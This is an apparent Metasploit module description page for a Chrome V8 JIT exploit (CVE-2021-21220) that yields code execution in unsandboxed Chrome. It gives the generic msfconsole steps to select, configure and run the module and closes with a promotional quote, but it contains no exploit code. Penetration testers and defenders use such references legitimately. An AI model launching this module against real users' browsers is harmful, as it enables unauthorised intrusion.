This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72 when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute arbitrary code within the context of the V8 process. As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the --no-sandbox option for the payload to work correctly.
x64
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/browser/chrome_cve_2021_21220_v8_insufficient_validation
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > show targets
...targets...
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > set TARGET < target-id >
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > show options
...show and set options...
msf exploit(chrome_cve_2021_21220_v8_insufficient_validation) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security